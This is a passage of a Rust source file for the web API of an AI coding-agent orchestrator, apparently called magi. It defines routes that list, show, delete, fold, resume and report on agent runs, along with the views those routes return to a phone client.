3492            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3493    }
3494}
3495
3496async fn runs_list(
3497    State(ui): State<Arc<Ui>>,
3498    Query(q): Query<ListQuery>,
3499) -> ApiResult<Json<Vec<RunSummary>>> {
3500    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3501    blocking(move || {
3502        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3503        let states = run_ids(&ui.runs)
3504            .into_iter()
3505            // A run whose state cannot be read is skipped, not fatal: a run
3506            // killed mid-write must not blank the history of every other one.
3507            // The detail route still explains it, which is where an operator
3508            // asking "what happened to that run" ends up.
3509            .filter_map(|id| read_run(&ui.runs, &id).ok())
3510            .take(limit)
3511            .filter(|run| q.contains(&run.id));
3512        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3513        let summaries = summarize(
3514            states,
3515            &open_runs,
3516            &claimed,
3517            &superseded,
3518            |p| probe.borrow_mut().status(p),
3519            |p| probe.borrow_mut().started_at(p),
3520        );
3521        Ok(Json(summaries))
3522    })
3523    .await
3524}
3525
3526/// Everything the per-run rows share, read once: runs with an open question,
3527/// runs a live daemon claims, and the superseded map. Asking per run re-read
3528/// every question file and the daemon status file for each of hundreds of
3529/// runs, and spawned a process probe per run on Windows.
3530fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3531    let open_runs: HashSet<String> = ui
3532        .questions
3533        .list()
3534        .into_iter()
3535        .filter(|q| q.status.open())
3536        .map(|q| q.run)
3537        .collect();
3538    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3539        .into_iter()
3540        .map(|c| c.run)
3541        .collect();
3542    (open_runs, claimed, ui.queue.superseded())
3543}
3544
3545/// The rows of the run list, given everything that is shared between them.
3546///
3547/// Pure over its inputs so a test can count how often the process queries are
3548/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3549/// takes, called at most once per run.
3550fn summarize<I, S, D>(
3551    states: I,
3552    open_runs: &HashSet<String>,
3553    claimed: &HashSet<String>,
3554    superseded: &HashMap<String, String>,
3555    mut status_q: S,
3556    mut identity_q: D,
3557) -> Vec<RunSummary>
3558where
3559    I: IntoIterator<Item = RunState>,
3560    S: FnMut(u32) -> Option<bool>,
3561    D: FnMut(u32) -> Option<String>,
3562{
3563    states
3564        .into_iter()
3565        .map(|state| {
3566            let waiting = open_runs.contains(&state.id);
3567            let live =
3568                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3569            let mut row = RunSummary::of(&state, waiting, live);
3570            row.superseded_by = state
3571                .pr_taken_over_by
3572                .as_ref()
3573                .or_else(|| superseded.get(&state.id))
3574                .map(String::as_str)
3575                .map(crate::run::short_of)
3576                .map(str::to_owned);
3577            row.badge_status = run_badge_status(
3578                &state,
3579                &row.display_status,
3580                live,
3581                row.superseded_by.is_some(),
3582            );
3583            row
3584        })
3585        .collect()
3586}
3587
3588/// A run as the detail route hands it to the phone.
3589///
3590/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3591/// the instruction as markdown, and the raw `instruction` field this struct
3592/// still carries (unchanged) is what a client wanting the exact bytes reads
3593/// instead.
3594#[derive(Debug, Serialize)]
3595struct RunDetailView {
3596    stop_reason: Option<String>,
3597    #[serde(flatten)]
3598    state: RunState,
3599    instruction_md: Vec<md::Node>,
3600    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3601    /// mirror the records they come from, index for index; the raw strings
3602    /// stay in `state` and decide whether a block is shown at all.
3603    #[serde(flatten)]
3604    prose_md: RunProseMd,
3605    /// Whether a process is actually still driving this run: `"live"`,
3606    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3607    ///
3608    /// `state.active` (flattened in above) is only ever cleared by the
3609    /// process that populated it; a killed one leaves its last wave's
3610    /// entries behind. Carrying this alongside is what lets the phone rail
3611    /// tell "this seat is still answering" from "this seat was still
3612    /// answering when whatever was driving this run died" without a second
3613    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3614    /// proof of either. A string rather than a bool on purpose: a daemon
3615    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3616    /// and neither proven is `"unknown"` — folding that third case into
3617    /// either end of a bool is exactly the wrong call for a phone screen an
3618    /// operator uses to decide whether to wait or to act.
3619    live: crate::run::Liveness,
3620    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3621    /// alongside the flattened `state` rather than inside it, since
3622    /// `RunState` has no business knowing which of its own methods a caller
3623    /// wants serialized.
3624    unmerged_by_design: bool,
3625    /// Same field and meaning as [`RunSummary::waiting`].
3626    #[serde(default)]
3627    waiting: bool,
3628    /// Same derived presentation status as [`RunSummary::display_status`].
3629    #[serde(default)]
3630    display_status: String,
3631    /// Same field and meaning as [`RunSummary::badge_status`].
3632    #[serde(default)]
3633    badge_status: String,
3634    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3635    /// terminal. The client's `landView` keys on it, and the flattened state
3636    /// has no such field, so without it a finished run's stale `open` PR
3637    /// would be painted as live on the detail page.
3638    done: bool,
3639    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3640    /// route fills it from [`Queue::superseded`], the detail route from
3641    /// [`Queue::superseded_by`], and both read the same underlying task
3642    /// order. Without this the detail page could only ever show a red
3643    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3644    /// with nothing anywhere saying so — an operator opening it had no way
3645    /// to tell "this is done elsewhere" from "this still needs a retry".
3646    superseded_by: Option<String>,
3647    /// The task's current attempt, when this run is an older one — resolved
3648    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3649    /// the client to derive.
3650    ///
3651    /// Three things a client cannot safely do on its own drove this onto the
3652    /// server: it has to name the chain's *current head*, not just the next
3653    /// attempt (`superseded_by` above), because an intermediate retry in a
3654    /// longer chain can itself still be unresolved; it has to resolve to a
3655    /// real id rather than a short id a client would have to guess a full id
3656    /// from, which is ambiguous the moment two runs share a suffix; and it
3657    /// has to read that head's own status directly, because whether a run
3658    /// list a client happens to have cached even contains that attempt
3659    /// depends on a page limit this route knows nothing about.
3660    latest_attempt: Option<LatestAttempt>,
3661    /// The queue task this run belongs to, so the detail page can link back
3662    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3663    task: Option<TaskRef>,
3664    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3665    /// run recorded before origins existed. `origin` itself (flattened in
3666    /// with `state`) is `null` in that case.
3667    origin_label: String,
3668    /// Each recorded pass over this run, with the cause it stopped for. Empty
3669    /// for a run from before passes were kept: its earlier passes are unknown.
3670    pass_views: Vec<PassView>,
3671}
3672
3673/// A task named from a run's detail page.
3674#[derive(Debug, Serialize)]
3675struct TaskRef {
3676    id: String,
3677    short: String,
3678    title: String,
3679    /// [`Source::label`], e.g. `chat@a1b2`.
3680    source_label: String,
3681    /// Where the task came from, when that place has a page; see [`source_link`].
3682    source_link: Option<SourceLink>,
3683    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3684    status: &'static str,
3685    attempts: usize,
3686    max_attempts: usize,
3687    /// This run is the last entry of the task's run list.
3688    is_latest: bool,
3689    /// The task's newest run, when it is not this one.
3690    latest: Option<RunBrief>,
3691    /// The run that finished a `done` task (merged, or already in the base).
3692    finished_by: Option<RunBrief>,
3693    /// The task is `done` but no run on record finished it: closed by hand.
3694    closed_by_hand: bool,
3695}
3696
3697/// The page that filed a task, as the UI links to it.
3698#[derive(Debug, PartialEq, Eq, Serialize)]
3699struct SourceLink {
3700    /// `chat` (a conversation) or `run` (a run's node).
3701    kind: &'static str,
3702    /// The full id, never the short one in the label.
3703    id: String,
3704    /// The hash route that opens it.
3705    href: String,
3706}
3707
3708/// Percent-encode everything outside the URL-unreserved set.
3709fn encode_segment(raw: &str) -> String {
3710    let mut out = String::with_capacity(raw.len());
3711    for b in raw.bytes() {
3712        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3713            out.push(b as char);
3714        } else {
3715            out.push_str(&format!("%{b:02X}"));
3716        }
3717    }
3718    out
3719}
3720
3721/// The one place that decides where a task's source links to. A chat
3722/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3723/// a person or an imported issue has no page, so no link.
3724fn source_link(source: &Source) -> Option<SourceLink> {
3725    let Source::Agent { run, node } = source else {
3726        return None;
3727    };
3728    let (kind, route) = if node == crate::queue::CHAT_NODE {
3729        ("chat", "chat")
3730    } else {
3731        ("run", "runs")
3732    };
3733    Some(SourceLink {
3734        kind,
3735        id: run.clone(),
3736        href: id_links::page_href(route, run),
3737    })
3738}
3739
3740/// The parent task of a follow-up, when its file can still be read.
3741#[derive(Debug, Serialize, PartialEq)]
3742struct FollowUpParent {
3743    id: String,
3744    short: String,
3745    title: String,
3746    /// The parent's own status (`TaskStatus::as_str`).
3747    status: &'static str,
3748    href: String,
3749}
3750
3751/// The merged run a follow-up was filed from.
3752#[derive(Debug, Serialize, PartialEq)]
3753struct FollowUpRun {
3754    id: String,
3755    short: String,
3756    /// `None` when the run's record cannot be read.
3757    status: Option<&'static str>,
3758    /// `None` unless the record could be read: never a dead link.
3759    href: Option<String>,
3760}
3761
3762/// Where a follow-up task came from, resolved once per task page so the flow
3763/// chart and the detail block cannot disagree. See [`followup_origin`].
3764#[derive(Debug, Serialize, PartialEq)]
3765struct FollowUpOrigin {
3766    /// Present only when `origin_task` is set and that task still exists.
3767    parent: Option<FollowUpParent>,
3768    run: FollowUpRun,
3769    /// The merged pull request, verbatim. Not an href: the client passes it
3770    /// through `forgeUrl()` and renders text when that refuses it (the one
3771    /// exception to "the href rule is Rust's alone", since a forge URL is
3772    /// data from a record, not a route).
3773    pr: String,
3774    findings: Vec<String>,
3775    generation: u32,
3776}
3777
3778/// The one place that decides what a follow-up links to. A parent that cannot
3779/// be read (gone, or an id that names nothing) is `None`, never an error.
3780fn followup_origin(
3781    fu: &crate::queue::FollowUp,
3782    task: impl Fn(&str) -> Option<Task>,
3783    run: impl Fn(&str) -> Option<RunState>,
3784) -> FollowUpOrigin {
3785    let parent = fu
3786        .origin_task
3787        .as_deref()
3788        .and_then(task)
3789        .map(|t| FollowUpParent {
3790            short: t.short().to_owned(),
3791            href: format!("#/tasks/{}", encode_segment(&t.id)),
3792            status: t.status.as_str(),
3793            title: t.title,
3794            id: t.id,
3795        });
3796    let state = run(&fu.run);
3797    FollowUpOrigin {
3798        parent,
3799        run: FollowUpRun {
3800            short: run::short_of(&fu.run).to_owned(),
3801            status: state.as_ref().map(|s| s.status.as_str()),
3802            href: state
3803                .is_some()
3804                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3805            id: fu.run.clone(),
3806        },
3807        pr: fu.pr.clone(),
3808        findings: fu.findings.clone(),
3809        generation: fu.generation,
3810    }
3811}
3812
3813/// Another run of the same task, as named from a run's detail page.
3814#[derive(Debug, Serialize)]
3815struct RunBrief {
3816    id: String,
3817    short: String,
3818    /// `None` when the run's record cannot be read.
3819    status: Option<&'static str>,
3820    /// The task-page wording for how that pass ended.
3821    outcome: String,
3822    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
3823    badge: Option<String>,
3824}
3825
3826/// The task's overall outcome as seen from `this_run`'s page, classified with
3827/// the same exits the task page's flowchart uses.
3828fn task_outcome(
3829    task: &Task,
3830    this_run: &str,
3831    max_attempts: usize,
3832    read: impl Fn(&str) -> Option<RunState>,
3833) -> TaskRef {
3834    let max_attempts = task.effective_attempt_limit(max_attempts);
3835    let history = task_history(task, read);
3836    let brief = |h: &TaskRunView| RunBrief {
3837        id: h.id.clone(),
3838        short: h.short.clone(),
3839        status: h.status,
3840        outcome: h.exit.edge_label(h.status),
3841        badge: h.badge.clone(),
3842    };
3843    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3844    let latest = if is_latest {
3845        None
3846    } else {
3847        history.last().map(brief)
3848    };
3849    let done = task.status == TaskStatus::Done;
3850    let finished_by = done
3851        .then(|| {
3852            history
3853                .iter()
3854                .rev()
3855                .find(|h| {
3856                    matches!(
3857                        h.exit,
3858                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3859                    )
3860                })
3861                .map(brief)
3862        })
3863        .flatten();
3864    TaskRef {
3865        short: task.short().to_owned(),
3866        title: task.title.clone(),
3867        id: task.id.clone(),
3868        source_label: task.source.label(),
3869        source_link: source_link(&task.source),
3870        status: task.status.as_str(),
3871        attempts: task.attempts,
3872        max_attempts,
3873        is_latest,
3874        latest,
3875        closed_by_hand: done && finished_by.is_none(),
3876        finished_by,
3877    }
3878}
3879
3880/// The task's current attempt, as seen from an older one's detail page.
3881#[derive(Debug, Serialize)]
3882struct LatestAttempt {
3883    id: String,
3884    short: String,
3885    /// Whether this attempt itself settled with a result nobody needs to
3886    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3887    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3888    /// unconfirmed claim that no change was needed, which is exactly why it
3889    /// settles the task through `Held` rather than `Done` and still waits on
3890    /// a human to check the evidence; showing an older run as "finished
3891    /// elsewhere" on the strength of an unverified claim would bury the
3892    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3893    /// in-flight status are excluded because they are exactly the
3894    /// unresolved states this field exists to tell apart from a real finish.
3895    resolved: bool,
3896    /// The attempt's own recorded status, so the page can say where it
3897    /// stands while it is not resolved yet.
3898    status: RunStatus,
3899    /// Whether that status is terminal (nothing is still running it).
3900    done: bool,
3901}
3902
3903/// Markdown for the free-text prose of a run, parallel to `RunState`.
3904#[derive(Debug, Default, Serialize)]
3905struct RunProseMd {
3906    /// `None` when the run has no design deliberation.
3907    advice_md: Option<AdviceMd>,
3908    /// One entry per candidate: the summary.
3909    candidate_summaries_md: Vec<Vec<md::Node>>,
3910    /// One entry per review round, in `reviews` order.
3911    reviews_md: Vec<RoundMd>,
3912}
3913
3914#[derive(Debug, Default, Serialize)]
3915struct AdviceMd {
3916    synthesis: Vec<md::Node>,
3917    /// One per record; empty for a seat with no proposal.
3918    approaches: Vec<Vec<md::Node>>,
3919}
3920
3921#[derive(Debug, Default, Serialize)]
3922struct RoundMd {
3923    /// One per reviewer record.
3924    reviewers: Vec<ReviewerMd>,
3925    /// One per `reconsideration` entry: the reason.
3926    reconsideration: Vec<Vec<md::Node>>,
3927    fix: Option<FixMd>,
3928}
3929
3930#[derive(Debug, Default, Serialize)]
3931struct ReviewerMd {
3932    summary: Vec<md::Node>,
3933    /// One per finding, in recorded order (not the display order).
3934    findings: Vec<Vec<md::Node>>,
3935}
3936
3937#[derive(Debug, Default, Serialize)]
3938struct FixMd {
3939    notes: Vec<md::Node>,
3940    /// One per rejection: the argument.
3941    rejected: Vec<Vec<md::Node>>,
3942}
3943
3944/// Parse a run's agent-written prose; a pure function of the state.
3945fn run_prose_md(state: &RunState) -> RunProseMd {
3946    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3947    RunProseMd {
3948        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3949            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3950            approaches: a
3951                .records
3952                .iter()
3953                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3954                .collect(),
3955        }),
3956        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3957        reviews_md: state
3958            .reviews
3959            .iter()
3960            .map(|round| RoundMd {
3961                reviewers: round
3962                    .reviews
3963                    .iter()
3964                    .map(|rec| ReviewerMd {
3965                        summary: nodes(&rec.summary),
3966                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3967                    })
3968                    .collect(),
3969                reconsideration: round
3970                    .reconsideration
3971                    .iter()
3972                    .map(|rv| nodes(&rv.reason))
3973                    .collect(),
3974                fix: round.fix.as_ref().map(|fix| FixMd {
3975                    notes: nodes(&fix.notes),
3976                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3977                }),
3978            })
3979            .collect(),
3980    }
3981}
3982
3983impl RunDetailView {
3984    fn of(
3985        state: RunState,
3986        waiting: bool,
3987        live: crate::run::Liveness,
3988        superseded_by: Option<String>,
3989        latest_attempt: Option<LatestAttempt>,
3990        task: Option<TaskRef>,
3991    ) -> Self {
3992        let display_status = run_display_status(&state, waiting, live);
3993        let stop_reason = crate::stop_reason::of(
3994            &state,
3995            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3996        );
3997        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3998        Self {
3999            stop_reason,
4000            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4001            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4002            prose_md: run_prose_md(&state),
4003            origin_label: crate::run::origin_label(state.origin.as_ref()),
4004            live,
4005            unmerged_by_design: state.unmerged_by_design(),
4006            waiting,
4007            display_status,
4008            badge_status,
4009            done: state.status.done(),
4010            superseded_by,
4011            latest_attempt,
4012            task,
4013            state,
4014        }
4015    }
4016}
4017
4018/// Core content needs neither the queue nor question/liveness evidence.
4019async fn run_core(
4020    State(ui): State<Arc<Ui>>,
4021    Path(id): Path<String>,
4022) -> ApiResult<Json<RunDetailView>> {
4023    blocking(move || {
4024        let id = resolve_run(&ui.runs, &id)?;
4025        let state = read_run(&ui.runs, &id)?;
4026        Ok(Json(RunDetailView::of(
4027            state,
4028            false,
4029            crate::run::Liveness::Unknown,
4030            None,
4031            None,
4032            None,
4033        )))
4034    })
4035    .await
4036}
4037
4038async fn run_detail(
4039    State(ui): State<Arc<Ui>>,
4040    Path(id): Path<String>,
4041) -> ApiResult<Json<RunDetailView>> {
4042    blocking(move || {
4043        let id = resolve_run(&ui.runs, &id)?;
4044        let state = read_run(&ui.runs, &id)?;
4045        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4046        let live = state.liveness(daemon_claims);
4047        crate::queue::record_ids(ui.questions.root(), "json")?;
4048        let waiting = ui
4049            .questions
4050            .list()
4051            .iter()
4052            .any(|q| q.run == id && q.status.open());
4053        let max_attempts = daemon::Opts::default().max_attempts;
4054
4055        let matching_task = ui.find_task_for_run(&id)?;
4056
4057        let superseded_by = state
4058            .pr_taken_over_by
4059            .clone()
4060            .or_else(|| {
4061                matching_task
4062                    .as_ref()
4063                    .and_then(|t| t.successor_of(&id).cloned())
4064            })
4065            .as_deref()
4066            .map(crate::run::short_of)
4067            .map(str::to_owned);
4068
4069        // Best-effort: an unreadable head (mid-write, or deleted) just means
4070        // this run's own status stands on its own, same as no later attempt
4071        // existing at all.
4072        let latest_attempt = matching_task
4073            .as_ref()
4074            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4075            .and_then(|head_id| {
4076                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4077                    short: head.short().to_owned(),
4078                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4079                    status: head.status,
4080                    done: head.status.done(),
4081                    id: head.id,
4082                })
4083            });
4084
4085        let task = matching_task
4086            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4087
4088        Ok(Json(RunDetailView::of(
4089            state,
4090            waiting,
4091            live,
4092            superseded_by,
4093            latest_attempt,
4094            task,
4095        )))
4096    })
4097    .await
4098}
4099
4100/// `DELETE /api/runs/{id}`.
4101///
4102/// Remove a finished, folded run directory along with its artifacts.
4103/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4104/// deleted. This never touches git worktrees or branches - except for a run
4105/// whose state this build cannot read at all, where there is no candidate
4106/// list to check and the wholesale removal `magi fold` already uses for that
4107/// case is the only meaningful "delete".
4108async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4109    let (id, unreadable) = {
4110        let ui = Arc::clone(&ui);
4111        blocking(move || {
4112            let id = resolve_run(&ui.runs, &id)?;
4113            match read_run(&ui.runs, &id) {
4114                Ok(state) => {
4115                    let in_flight =
4116                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4117                    state
4118                        .ensure_can_delete(in_flight)
4119                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4120                    let dir = ui.runs.join(&id);
4121                    std::fs::remove_dir_all(&dir)
4122                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4123                    Ok((id, false))
4124                }
4125                Err(_) => {
4126                    // Unreadable: there is no candidate list to guard on, so
4127                    // a live daemon's claim is the only thing left to check -
4128                    // the same rule `run_fold` applies for the same reason.
4129                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4130                        return Err(ApiError::conflict(format!(
4131                            "run {id} is being worked on by a live daemon right now"
4132                        )));
4133                    }
4134                    Ok((id, true))
4135                }
4136            }
4137        })
4138        .await?
4139    };
4140    if unreadable {
4141        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4142            .await
4143            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4144    }
4145    let ui = Arc::clone(&ui);
4146    let done = id.clone();
4147    blocking(move || {
4148        // The agent that asked died with the run, so an open question would
4149        // keep asking the operator for a decision nobody can deliver.
4150        ui.questions.abandon_for_run(
4151            &done,
4152            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4153        )?;
4154        Ok(())
4155    })
4156    .await?;
4157    Ok(StatusCode::NO_CONTENT)
4158}
4159
4160/// `POST /api/runs/{id}/fold`.
4161///
4162/// Remove a run's candidate worktrees and branches, keeping its record.
4163///
4164/// This exists because the deck answered "delete this run" with *"Candidates
4165/// must be folded before deleting. Run `magi fold` first."* — a phone being
4166/// told to open a terminal, in the one product whose point is that it does
4167/// not need one. The runs an operator most wants gone are the stalled and
4168/// blocked ones, and those are exactly the runs still holding worktrees:
4169/// three of them here held 53 GB.
4170///
4171/// The winner's tree goes too. A fold is what someone asks for when they are
4172/// finished with a run, and leaving one tree behind would leave the delete
4173/// button disabled for the same reason as before.
4174///
4175/// Refused while a live daemon is working on the run, on the rule that guards
4176/// deletion: folding underneath a running agent would pull the tree it is
4177/// editing out from under it.
4178///
4179/// A run whose state this build cannot read at all falls back to
4180/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4181/// selectively, so the whole record's worktree goes wholesale, exactly what
4182/// `magi fold` does on the command line for the same run.
4183async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4184    let (id, state) = {
4185        let ui = Arc::clone(&ui);
4186        blocking(move || {
4187            let id = resolve_run(&ui.runs, &id)?;
4188            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4189                return Err(ApiError::conflict(format!(
4190                    "run {id} is being worked on by a live daemon right now"
4191                )));
4192            }
4193            let state = read_run(&ui.runs, &id).ok();
4194            Ok((id, state))
4195        })
4196        .await?
4197    };
4198    let removed = match state {
4199        Some(mut state) => {
4200            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4201                .await
4202                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4203            // Nothing left to remove is not the same thing as nothing left to
4204            // do — see `clean::clear_abandoned_active`'s own doc for the run
4205            // this exists for: worktrees already gone, but a killed process
4206            // left active seats nobody will ever answer for.
4207            if removed.is_empty() {
4208                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4209                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4210            }
4211            removed
4212        }
4213        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4214            .await
4215            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4216    };
4217    Ok(Json(FoldView {
4218        run: id,
4219        removed_count: removed.len(),
4220        removed,
4221    }))
4222}
4223
4224/// What a fold took away, so the deck can say so rather than only re-render.
4225#[derive(Debug, Serialize)]
4226struct FoldView {
4227    run: String,
4228    /// Worktree paths and branch names removed, in the order they went.
4229    removed: Vec<String>,
4230    removed_count: usize,
4231}
4232
4233/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4234/// merged outside of `land::land`'s own loop.
4235#[derive(Debug, Deserialize)]
4236struct FoldMergedBody {
4237    #[serde(default)]
4238    pr_url: String,
4239}
4240
4241/// `POST /api/runs/{id}/fold-merged`.
4242///
4243/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4244/// `Blocked` with `merge: null` because magi never got as far as opening a
4245/// pull request of its own (a title over GitHub's length limit, `gh pr
4246/// create` unreachable, a stale token), which the operator then finished by
4247/// hand on a pull request magi never recorded. The "Run actions" sheet used
4248/// to have no way to tell it about that pull request short of a terminal and
4249/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4250/// this exists and what it deliberately does not do (`bump::after_merge`).
4251///
4252/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4253/// correction rewrites the same `status`/`merge` fields a running graph would
4254/// be writing to on its own.
4255///
4256/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4257/// calls plus a fold, seconds of work, and the phone should get its answer
4258/// (which pull request it recorded, and what changed) in the same round
4259/// trip rather than learning it from the change stream.
4260async fn run_fold_merged(
4261    State(ui): State<Arc<Ui>>,
4262    Path(id): Path<String>,
4263    Json(body): Json<FoldMergedBody>,
4264) -> ApiResult<Json<FoldMergedView>> {
4265    let pr_url = body.pr_url.trim().to_owned();
4266    if pr_url.is_empty() {
4267        return Err(ApiError::bad_request("pr_url is required"));
4268    }
4269    let (id, mut state) = {
4270        let ui = Arc::clone(&ui);
4271        blocking(move || {
4272            let id = resolve_run(&ui.runs, &id)?;
4273            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4274                return Err(ApiError::conflict(format!(
4275                    "run {id} is being worked on by a live daemon right now"
4276                )));
4277            }
4278            let state = read_run(&ui.runs, &id)?;
4279            Ok((id, state))
4280        })
4281        .await?
4282    };
4283    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4284        .await
4285        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4286    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4287        .await
4288        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4289    Ok(Json(FoldMergedView {
4290        run: id,
4291        before: before.as_str().to_owned(),
4292        after: after.as_str().to_owned(),
4293        removed,
4294    }))
4295}
4296
4297/// What [`run_fold_merged`] did, so the deck can say so.
4298#[derive(Debug, Serialize)]
4299struct FoldMergedView {
4300    run: String,
4301    /// `status` before the correction — normally `"blocked"`.
4302    before: String,
4303    /// `status` after — normally `"merged"`.
4304    after: String,
4305    /// Worktree paths and branch names the trailing fold removed.
4306    removed: Vec<String>,
4307}
4308
4309/// `POST /api/runs/{id}/resume`.
4310///
4311/// Carry a stalled run on from where it stopped, in the background.
4312///
4313/// A stalled card says "the work is kept" and used to offer no way to act on
4314/// that: the candidates are built and paid for, and continuing means re-asking
4315/// only the seats whose absence collapsed the panel. The alternative an
4316/// operator actually had was releasing the task, which competes three fresh
4317/// implementations against work that already exists.
4318///
4319/// **202, not 200.** A resume runs agents for minutes; holding the connection
4320/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4321/// phone learns the outcome from the change stream.
4322///
4323/// Refused when the loop is running at all, not merely when it is on this run.
4324/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4325/// started a second graph on top of whatever the loop is already driving —
4326/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4327/// allows — would spend that quota twice over for no extra throughput.
4328async fn run_resume(
4329    State(ui): State<Arc<Ui>>,
4330    Path(id): Path<String>,
4331) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4332    let (id, state) = {
4333        let ui = Arc::clone(&ui);
4334        blocking(move || {
4335            let id = resolve_run(&ui.runs, &id)?;
4336            let state = read_run(&ui.runs, &id)?;
4337            Ok((id, state))
4338        })
4339        .await?
4340    };
4341    crate::resume::validate_unqueued(&ui.home, &id)
4342        .map_err(|e| ApiError::conflict(e.to_string()))?;
4343    let _resume = ui.begin_resume(&id)?;
4344
4345    // The same shape the list route returns, so the phone updates the card it
4346    // already has rather than learning a second schema for one button.
4347    let queued = RunSummary::of(
4348        &state,
4349        !ui.questions.open_for(&id).is_empty(),
4350        state.liveness(false),
4351    );
4352    let run = id.clone();
4353    tokio::spawn(async move {
4354        let _resume = _resume;
4355        crate::resume::execute(&run).await;
4356    });
4357    Ok((StatusCode::ACCEPTED, Json(queued)))
4358}
4359
4360async fn run_report(
4361    State(ui): State<Arc<Ui>>,
4362    Path(id): Path<String>,
4363) -> ApiResult<impl IntoResponse> {
4364    let text = blocking(move || {
4365        let id = resolve_run(&ui.runs, &id)?;
4366        // Colour is off for the whole process, set once in `serve`. Rendering
4367        // is CPU work over the full state, which is the other reason this is
4368        // not on the executor.
4369        let state = read_run(&ui.runs, &id)?;
4370        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4371        let live = state.liveness(daemon_claims);
4372        Ok(format!(
4373            "{}{}",
4374            report::run(&state),
4375            report::active_seats(&state, live)
4376        ))
4377    })
4378    .await?;
4379    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4380}
4381
4382/// The structured twin of [`run_report`]: the same state, as sections the UI
4383/// draws as cards. An unreadable run answers with the same error the text
4384/// route does; it is never turned into an empty report.
4385async fn run_report_json(
4386    State(ui): State<Arc<Ui>>,
4387    Path(id): Path<String>,
4388) -> ApiResult<Json<crate::report_view::RunReportView>> {
4389    let view = blocking(move || {
4390        let id = resolve_run(&ui.runs, &id)?;
4391        let state = read_run(&ui.runs, &id)?;
4392        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
